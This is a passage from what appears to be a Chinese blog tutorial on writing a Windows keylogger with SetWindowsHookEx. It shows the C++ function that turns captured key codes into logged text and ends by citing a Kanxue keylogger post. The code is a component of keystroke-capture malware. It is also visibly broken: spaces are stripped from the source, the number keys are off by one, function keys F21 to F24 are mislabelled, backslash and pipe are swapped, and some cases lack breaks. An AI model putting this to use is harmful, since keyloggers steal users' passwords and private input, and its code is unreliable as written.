*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
  {
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0:  key="0"; break;
caseVK_NUMPAD1:  key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3:  key="3"; break;
caseVK_NUMPAD4:  key="4"; break;
caseVK_NUMPAD5:  key="5"; break;
caseVK_NUMPAD6:  key="6"; break;
caseVK_NUMPAD7:  key="7"; break;
caseVK_NUMPAD8:  key="8"; break;
caseVK_NUMPAD9:  key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD:      key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL:  key="."; break;
caseVK_DIVIDE:   key="/"; break;
// Function Keys
caseVK_F1:  key="[F1]"; break;
caseVK_F2:  key="[F2]"; break;
caseVK_F3:  key="[F3]"; break;
caseVK_F4:  key="[F4]"; break;
caseVK_F5:  key="[F5]"; break;
caseVK_F6:  key="[F6]"; break;
caseVK_F7:  key="[F7]"; break;
caseVK_F8:  key="[F8]"; break;
caseVK_F9:  key="[F9]"; break;
caseVK_F10:  key="[F10]"; break;
caseVK_F11:  key="[F11]"; break;
caseVK_F12:  key="[F12]"; break;
caseVK_F13:  key="[F13]"; break;
caseVK_F14:  key="[F14]"; break;
caseVK_F15:  key="[F15]"; break;
caseVK_F16:  key="[F16]"; break;
caseVK_F17:  key="[F17]"; break;
caseVK_F18:  key="[F18]"; break;
caseVK_F19:  key="[F19]"; break;
caseVK_F20:  key="[F20]"; break;
caseVK_F21:  key="[F22]"; break;
caseVK_F22:  key="[F23]"; break;
caseVK_F23:  key="[F24]"; break;
caseVK_F24:  key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL:  key="[SCROLL-LOCK]"; break;
caseVK_BACK:    key="[BACK]"; break;
caseVK_TAB:     key="[TAB]"; break;
caseVK_CLEAR:   key="[CLEAR]"; break;
caseVK_RETURN:  key="[ENTER]"; break;
caseVK_SHIFT:   key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU:    key="[ALT]"; break;
caseVK_PAUSE:   key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE:  key="[ESC]"; break;
caseVK_SPACE:   key="[SPACE]"; break;
caseVK_PRIOR:   key="[PAGEUP]"; break;
caseVK_NEXT:    key="[PAGEDOWN]"; break;
caseVK_END:     key="[END]"; break;
caseVK_HOME:    key="[HOME]"; break;
caseVK_LEFT:    key="[LEFT]"; break;
caseVK_UP:      key="[UP]"; break;
caseVK_RIGHT:   key="[RIGHT]"; break;
caseVK_DOWN:    key="[DOWN]"; break;
caseVK_SELECT:  key="[SELECT]"; break;
caseVK_PRINT:   key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT:  key="[INS]"; break;
caseVK_DELETE:  key="[DEL]"; break;
caseVK_HELP:    key="[HELP]"; break;
// Number Keys with shift
case0x30:  key=shift?"!" : "1"; break;
case0x31:  key=shift?"@" : "2"; break;
case0x32:  key=shift?"#" : "3"; break;
case0x33:  key=shift?"$" : "4"; break;
case0x34:  key=shift?"%" : "5"; break;
case0x35:  key=shift?"^" : "6"; break;
case0x36:  key=shift?"&" : "7"; break;
case0x37:  key=shift?"*" : "8"; break;
case0x38:  key=shift?"(" : "9"; break;
case0x39:  key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN:     key="[WIN]"; break;
caseVK_RWIN:     key="[WIN]"; break;
caseVK_LSHIFT:   key="[SHIFT]"; break;
caseVK_RSHIFT:   key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1:      key=shift?":" : ";"; break;
caseVK_OEM_PLUS:   key=shift?"+" : "="; break;
caseVK_OEM_COMMA:  key=shift?"<" : ","; break;
caseVK_OEM_MINUS:  key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2:      key=shift?"?" : "/"; break;
caseVK_OEM_3:      key=shift?"~" : "`"; break;
caseVK_OEM_4:      key=shift?"{" : "["; break;
caseVK_OEM_5:      key=shift?"\\" : "|"; break;
caseVK_OEM_6:      key=shift?"}" : "]"; break;
caseVK_OEM_7:      key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY:       key="[PLAY]";
caseVK_ZOOM:       key="[ZOOM]";
caseVK_OEM_CLEAR:  key="[CLEAR]";
caseVK_CANCEL:     key="[CTRL-C]";
​
default: key="[UNK-KEY]";
break;
  }
key.copy(Out+strlen(Out), key.length(), 0);
​
return ;
}

 

7、参考文章

看雪:hook学习:使用SetWindowsHookEx实现一个简单的键盘记录器

以及查阅微软官方文档:SetWindowsHookExA

关闭